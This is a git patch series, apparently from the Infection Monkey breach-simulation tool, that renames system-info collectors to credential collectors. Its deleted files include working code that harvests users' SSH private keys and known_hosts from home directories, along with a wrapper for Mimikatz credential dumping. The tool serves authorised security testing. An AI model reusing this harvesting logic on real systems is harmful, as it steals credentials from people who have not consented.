From 1d15288b648c3f32996dd8905a5eb60f97e0e13a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Feb 2022 12:29:18 +0200 Subject: [PATCH 1/2] Agent, Island: remove/rename system info collection infrastructure System info collectors got replaced with credential collectors. Infrastructure in the code needs to be renamed accordingly --- ...names.py => credential_collector_names.py} | 0 monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/dropper.py | 1 - .../master/automated_master.py | 2 +- ...infection_monkey.system_info.collectors.py | 6 - .../system_info/SSH_info_collector.py | 112 ------------------ .../infection_monkey/system_info/__init__.py | 76 ------------ .../system_info/collectors/__init__.py | 3 - .../system_info/linux_info_collector.py | 26 ---- .../system_info/system_info_collector.py | 42 ------- .../system_info_collectors_handler.py | 35 ------ .../system_info/windows_info_collector.py | 53 --------- .../telemetry/system_info_telem.py | 20 ---- .../cc/resources/telemetry_feed.py | 6 +- .../services/config_schema/config_schema.py | 8 +- ...ses.py => credential_collector_classes.py} | 8 +- .../cc/services/config_schema/monkey.py | 12 +- .../system_info_telemetry_dispatcher.py | 59 --------- .../configuration-components/UiSchema.js | 4 +- .../components/utils/SafeOptionValidator.js | 6 +- .../telemetry/test_system_info_telem.py | 20 ---- vulture_allowlist.py | 6 - 22 files changed, 23 insertions(+), 483 deletions(-) rename monkey/common/common_consts/{system_info_collectors_names.py => credential_collector_names.py} (100%) delete mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py delete mode 100644 monkey/infection_monkey/system_info/SSH_info_collector.py delete mode 100644 monkey/infection_monkey/system_info/__init__.py delete mode 100644 monkey/infection_monkey/system_info/collectors/__init__.py delete mode 100644 monkey/infection_monkey/system_info/linux_info_collector.py delete mode 100644 monkey/infection_monkey/system_info/system_info_collector.py delete mode 100644 monkey/infection_monkey/system_info/system_info_collectors_handler.py delete mode 100644 monkey/infection_monkey/system_info/windows_info_collector.py delete mode 100644 monkey/infection_monkey/telemetry/system_info_telem.py rename monkey/monkey_island/cc/services/config_schema/definitions/{system_info_collector_classes.py => credential_collector_classes.py} (71%) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/credential_collector_names.py similarity index 100% rename from monkey/common/common_consts/system_info_collectors_names.py rename to monkey/common/common_consts/credential_collector_names.py diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index be56985e3..2da9d0529 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -101,7 +101,6 @@ class Configuration(object): finger_classes = [] exploiter_classes = [] - system_info_collector_classes = [] # depth of propagation depth = 2 diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 3a153bf44..b42bc3414 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -12,7 +12,6 @@ from ctypes import c_char_p from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration -from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index d78d5aafe..ceb66e3b9 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -139,7 +139,7 @@ class AutomatedMaster(IMaster): credential_collector_thread = create_daemon_thread( target=self._run_plugins, args=( - config["system_info_collector_classes"], + config["credential_collector_classes"], "credential collector", self._collect_credentials, ), diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py deleted file mode 100644 index 22d2740bb..000000000 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py +++ /dev/null @@ -1,6 +0,0 @@ -from PyInstaller.utils.hooks import collect_data_files, collect_submodules - -# Import all actions as modules -hiddenimports = collect_submodules("infection_monkey.system_info.collectors") -# Add action files that we enumerate -datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True) diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py deleted file mode 100644 index 85b01978f..000000000 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ /dev/null @@ -1,112 +0,0 @@ -import glob -import logging -import os -import pwd - -from common.utils.attack_utils import ScanStatus -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem - -logger = logging.getLogger(__name__) - - -class SSHCollector(object): - """ - SSH keys and known hosts collection module - """ - - default_dirs = ["/.ssh/", "/"] - - @staticmethod - def get_info(): - logger.info("Started scanning for ssh keys") - home_dirs = SSHCollector.get_home_dirs() - ssh_info = SSHCollector.get_ssh_files(home_dirs) - logger.info("Scanned for ssh keys") - return ssh_info - - @staticmethod - def get_ssh_struct(name, home_dir): - """ - :return: SSH info struct with these fields: - name: username of user, for whom the keys belong - home_dir: users home directory - public_key: contents of *.pub file(public key) - private_key: contents of * file(private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) - """ - return { - "name": name, - "home_dir": home_dir, - "public_key": None, - "private_key": None, - "known_hosts": None, - } - - @staticmethod - def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct("root", "") - home_dirs = [ - SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) - for x in pwd.getpwall() - if x.pw_dir.startswith("/home") - ] - home_dirs.append(root_dir) - return home_dirs - - @staticmethod - def get_ssh_files(usr_info): - for info in usr_info: - path = info["home_dir"] - for directory in SSHCollector.default_dirs: - if os.path.isdir(path + directory): - try: - current_path = path + directory - # Searching for public key - if glob.glob(os.path.join(current_path, "*.pub")): - # Getting first file in current path with .pub extension(public key) - public = glob.glob(os.path.join(current_path, "*.pub"))[0] - logger.info("Found public key in %s" % public) - try: - with open(public) as f: - info["public_key"] = f.read() - # By default private key has the same name as public, - # only without .pub - private = os.path.splitext(public)[0] - if os.path.exists(private): - try: - with open(private) as f: - # no use from ssh key if it's encrypted - private_key = f.read() - if private_key.find("ENCRYPTED") == -1: - info["private_key"] = private_key - logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - else: - continue - except (IOError, OSError): - pass - # By default known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass - # If private key found don't search more - if info["private_key"]: - break - except (IOError, OSError): - pass - except OSError: - pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] - return usr_info diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py deleted file mode 100644 index 4761f24fa..000000000 --- a/monkey/infection_monkey/system_info/__init__.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import sys -from enum import IntEnum - -import psutil - -from infection_monkey.network.info import get_host_subnets -from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler - -logger = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - # noinspection PyShadowingBuiltins - WindowsError = psutil.AccessDenied - - -class OperatingSystem(IntEnum): - Windows = 0 - Linux = 1 - - -class SystemInfoCollector(object): - """ - A class that checks the current operating system and calls system information collecting - modules accordingly - """ - - def __init__(self): - self.os = SystemInfoCollector.get_os() - if OperatingSystem.Windows == self.os: - from .windows_info_collector import WindowsInfoCollector - - self.collector = WindowsInfoCollector() - else: - from .linux_info_collector import LinuxInfoCollector - - self.collector = LinuxInfoCollector() - - def get_info(self): - return self.collector.get_info() - - @staticmethod - def get_os(): - if sys.platform.startswith("win"): - return OperatingSystem.Windows - else: - return OperatingSystem.Linux - - -class InfoCollector(object): - """ - Generic Info Collection module - """ - - def __init__(self): - self.info = {"credentials": {}} - - def get_info(self): - # Collect all hardcoded - self.get_network_info() - - # Collect all plugins - SystemInfoCollectorsHandler().execute_all_configured() - - def get_network_info(self): - """ - Adds network information from the host to the system information. - Currently updates with list of networks accessible from host - containing host ip and the subnet range - :return: None. Updates class information - """ - logger.debug("Reading subnets") - self.info["network_info"] = {"networks": get_host_subnets()} diff --git a/monkey/infection_monkey/system_info/collectors/__init__.py b/monkey/infection_monkey/system_info/collectors/__init__.py deleted file mode 100644 index f5b7166e9..000000000 --- a/monkey/infection_monkey/system_info/collectors/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -""" -This package holds all the dynamic (plugin) collectors -""" diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py deleted file mode 100644 index ae35a4a47..000000000 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ /dev/null @@ -1,26 +0,0 @@ -import logging - -from infection_monkey.system_info import InfoCollector -from infection_monkey.system_info.SSH_info_collector import SSHCollector - -logger = logging.getLogger(__name__) - - -class LinuxInfoCollector(InfoCollector): - """ - System information collecting module for Linux operating systems - """ - - def __init__(self): - super(LinuxInfoCollector, self).__init__() - - def get_info(self): - """ - Collect Linux system information - Hostname, process list and network subnets - :return: Dict of system information - """ - logger.debug("Running Linux collector") - super(LinuxInfoCollector, self).get_info() - self.info["ssh_info"] = SSHCollector.get_info() - return self.info diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py deleted file mode 100644 index fe160de16..000000000 --- a/monkey/infection_monkey/system_info/system_info_collector.py +++ /dev/null @@ -1,42 +0,0 @@ -from abc import ABCMeta, abstractmethod - -import infection_monkey.system_info.collectors -from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin - - -class SystemInfoCollector(Plugin, metaclass=ABCMeta): - """ - ABC for system info collection. See system_info_collector_handler for more info. Basically, - to implement a new system info - collector, inherit from this class in an implementation in the - infection_monkey.system_info.collectors class, and override - the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the - collector to the configuration - as well - see monkey_island.cc.services.processing.system_info_collectors for examples. - - See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. - """ - - def __init__(self, name="unknown"): - self.name = name - - @staticmethod - def should_run(class_name) -> bool: - return class_name in WormConfiguration.system_info_collector_classes - - @staticmethod - def base_package_file(): - return infection_monkey.system_info.collectors.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.system_info.collectors.__package__ - - @abstractmethod - def collect(self) -> dict: - """ - Collect the relevant information and return it in a dictionary. - To be implemented by each collector. - """ - raise NotImplementedError() diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py deleted file mode 100644 index 8eddbcb29..000000000 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -from typing import Sequence - -from infection_monkey.system_info.system_info_collector import SystemInfoCollector -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - -logger = logging.getLogger(__name__) - - -class SystemInfoCollectorsHandler(object): - def __init__(self): - self.collectors_list = self.config_to_collectors_list() - - def execute_all_configured(self): - successful_collections = 0 - system_info_telemetry = {} - for collector in self.collectors_list: - try: - logger.debug("Executing system info collector: '{}'".format(collector.name)) - collected_info = collector.collect() - system_info_telemetry[collector.name] = collected_info - successful_collections += 1 - except Exception as e: - # If we failed one collector, no need to stop execution. Log and continue. - logger.error("Collector {} failed. Error info: {}".format(collector.name, e)) - logger.info( - "All system info collectors executed. Total {} executed, out of which {} " - "collected successfully.".format(len(self.collectors_list), successful_collections) - ) - - SystemInfoTelem({"collectors": system_info_telemetry}).send() - - @staticmethod - def config_to_collectors_list() -> Sequence[SystemInfoCollector]: - return SystemInfoCollector.get_instances() diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py deleted file mode 100644 index 6285fee0f..000000000 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ /dev/null @@ -1,53 +0,0 @@ -import logging -import sys - -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.credential_collectors.windows_cred_collector.mimikatz_cred_collector import ( - MimikatzCredentialCollector, -) - -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module -import infection_monkey.config # noqa: E402 -from infection_monkey.system_info import InfoCollector # noqa: E402 - -logger = logging.getLogger(__name__) -logger.info("started windows info collector") - - -class WindowsInfoCollector(InfoCollector): - """ - System information collecting module for Windows operating systems - """ - - def __init__(self): - super(WindowsInfoCollector, self).__init__() - self._config = infection_monkey.config.WormConfiguration - - def get_info(self): - """ - Collect Windows system information - Hostname, process list and network subnets - Tries to read credential secrets using mimikatz - :return: Dict of system information - """ - logger.debug("Running Windows collector") - super(WindowsInfoCollector, self).get_info() - # TODO: Think about returning self.get_wmi_info() - from infection_monkey.config import WormConfiguration - - if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes: - self.get_mimikatz_info() - - return self.info - - def get_mimikatz_info(self): - logger.info("Gathering mimikatz info") - try: - credentials = MimikatzCredentialCollector.get_creds() - if credentials: - self.info["credentials"].update(credentials) - logger.info("Mimikatz info gathered successfully") - else: - logger.info("No mimikatz info was gathered") - except Exception as e: - logger.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py deleted file mode 100644 index 554568dd4..000000000 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ /dev/null @@ -1,20 +0,0 @@ -from common.common_consts.telem_categories import TelemCategoryEnum -from infection_monkey.telemetry.base_telem import BaseTelem - - -class SystemInfoTelem(BaseTelem): - def __init__(self, system_info): - """ - Default system info telemetry constructor - :param system_info: System info returned from SystemInfoCollector.get_info() - """ - super(SystemInfoTelem, self).__init__() - self.system_info = system_info - - telem_category = TelemCategoryEnum.SYSTEM_INFO - - def get_data(self): - return self.system_info - - def send(self, log_data=False): - super(SystemInfoTelem, self).send(log_data) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 1098d2b50..32a8e6401 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -93,8 +93,8 @@ class TelemetryFeed(flask_restful.Resource): return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"] @staticmethod - def get_systeminfo_telem_brief(telem): - return "Monkey collected system information." + def get_credentials_telem_brief(_): + return "Monkey collected stole some credentials." @staticmethod def get_trace_telem_brief(telem): @@ -118,7 +118,7 @@ TELEM_PROCESS_DICT = { TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.CREDENTIALS: TelemetryFeed.get_credentials_telem_brief, TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, } diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index fb1e35b45..2adefb455 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -1,13 +1,13 @@ from monkey_island.cc.services.config_schema.basic import BASIC from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK +from monkey_island.cc.services.config_schema.definitions.credential_collector_classes import ( + CREDENTIAL_COLLECTOR_CLASSES, +) from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES from monkey_island.cc.services.config_schema.definitions.post_breach_actions import ( POST_BREACH_ACTIONS, ) -from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import ( - SYSTEM_INFO_COLLECTOR_CLASSES, -) from monkey_island.cc.services.config_schema.internal import INTERNAL from monkey_island.cc.services.config_schema.monkey import MONKEY from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE @@ -20,7 +20,7 @@ SCHEMA = { # users will not accidentally chose unsafe options "definitions": { "exploiter_classes": EXPLOITER_CLASSES, - "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, + "credential_collector_classes": CREDENTIAL_COLLECTOR_CLASSES, "post_breach_actions": POST_BREACH_ACTIONS, "finger_classes": FINGER_CLASSES, }, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py similarity index 71% rename from monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py rename to monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py index 96fecd1fa..9c41a1f26 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py @@ -1,8 +1,8 @@ -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR +from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR -SYSTEM_INFO_COLLECTOR_CLASSES = { - "title": "System Information Collectors", - "description": "Click on a system info collector to find out what it collects.", +CREDENTIAL_COLLECTOR_CLASSES = { + "title": "Credential Collectors", + "description": "Click on a credential collector to find out what it collects.", "type": "string", "anyOf": [ { diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 693340b74..a9f9790f8 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,4 +1,4 @@ -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR +from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR MONKEY = { "title": "Monkey", @@ -73,15 +73,15 @@ MONKEY = { }, }, }, - "system_info": { - "title": "System info", + "credential_collectors": { + "title": "Credential collection", "type": "object", "properties": { - "system_info_collector_classes": { - "title": "System info collectors", + "credential_collector_classes": { + "title": "Credential collectors", "type": "array", "uniqueItems": True, - "items": {"$ref": "#/definitions/system_info_collector_classes"}, + "items": {"$ref": "#/definitions/credential_collector_classes"}, "default": [ MIMIKATZ_COLLECTOR, SSH_COLLECTOR, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py deleted file mode 100644 index 7faae8eb2..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ /dev/null @@ -1,59 +0,0 @@ -import logging -import typing - - -logger = logging.getLogger(__name__) - - -SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {} - - -class SystemInfoTelemetryDispatcher(object): - def __init__( - self, - collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, - ): - """ - :param collector_to_parsing_functions: Map between collector names and a list of functions - that process the output of that collector. - If `None` is supplied, uses the default one; This should be the normal flow, overriding the - collector->functions mapping is useful mostly for testing. - """ - if collector_to_parsing_functions is None: - collector_to_parsing_functions = SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS - self.collector_to_processing_functions = collector_to_parsing_functions - - def dispatch_collector_results_to_relevant_processors(self, telemetry_json): - """ - If the telemetry has collectors' results, dispatches the results to the relevant - processing functions. - :param telemetry_json: Telemetry sent from the Monkey - """ - if "collectors" in telemetry_json["data"]: - self.dispatch_single_result_to_relevant_processor(telemetry_json) - - def dispatch_single_result_to_relevant_processor(self, telemetry_json): - relevant_monkey_guid = telemetry_json["monkey_guid"] - - for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): - self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, collector_results, relevant_monkey_guid - ) - - def dispatch_result_of_single_collector_to_processing_functions( - self, collector_name, collector_results, relevant_monkey_guid - ): - if collector_name in self.collector_to_processing_functions: - for processing_function in self.collector_to_processing_functions[collector_name]: - # noinspection PyBroadException - try: - processing_function(collector_results, relevant_monkey_guid) - except Exception as e: - logger.error( - "Error {} while processing {} system info telemetry".format( - str(e), collector_name - ), - exc_info=True, - ) - else: - logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 39bb47827..c76d17fc2 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -94,8 +94,8 @@ export default function UiSchema(props) { 'ui:emptyValue': '' } }, - system_info: { - system_info_collector_classes: { + credential_collectors: { + credential_collector_classes: { classNames: 'config-template-no-header', 'ui:widget': AdvancedMultiSelect } diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js index 3de39fffe..515ddfd9d 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js +++ b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js @@ -16,9 +16,9 @@ function getPluginDescriptors(schema, config) { selectedPlugins: config.monkey.post_breach.post_breach_actions }, { - name: 'SystemInfoCollectors', - allPlugins: schema.definitions.system_info_collector_classes.anyOf, - selectedPlugins: config.monkey.system_info.system_info_collector_classes + name: 'CredentialCollectors', + allPlugins: schema.definitions.credential_collector_classes.anyOf, + selectedPlugins: config.monkey.credential_collectors.credential_collector_classes } ]); } diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py deleted file mode 100644 index 146919899..000000000 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py +++ /dev/null @@ -1,20 +0,0 @@ -import json - -import pytest - -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - -SYSTEM_INFO = {} - - -@pytest.fixture -def system_info_telem_test_instance(): - return SystemInfoTelem(SYSTEM_INFO) - - -def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): - system_info_telem_test_instance.send() - expected_data = SYSTEM_INFO - expected_data = json.dumps(expected_data, cls=system_info_telem_test_instance.json_encoder) - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "system_info" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 8e5a99516..54b9caa12 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -94,7 +94,6 @@ Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timest SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) -_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) _.representations # unused attribute (monkey/monkey_island/cc/app.py:180) _.log_message # unused method (monkey/infection_monkey/transport/http.py:188) _.log_message # unused method (monkey/infection_monkey/transport/http.py:109) @@ -106,7 +105,6 @@ binaries # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-pyps hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4) -hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4) _.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345) _.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344) _.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79) @@ -159,10 +157,6 @@ salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78) thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61) -# leaving this since there's a TODO related to it -_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63) - - # potentially unused (there may also be unit tests referencing these) LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85) From 61ba85bdc249700f378b36ecaab012c6704a2b19 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Mar 2022 14:55:23 +0200 Subject: [PATCH 2/2] Island: alphabetically sort telemetry processing dictionary --- monkey/monkey_island/cc/resources/telemetry_feed.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 32a8e6401..f923a2f57 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -114,11 +114,11 @@ class TelemetryFeed(flask_restful.Resource): TELEM_PROCESS_DICT = { - TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, - TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, TelemCategoryEnum.CREDENTIALS: TelemetryFeed.get_credentials_telem_brief, - TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, }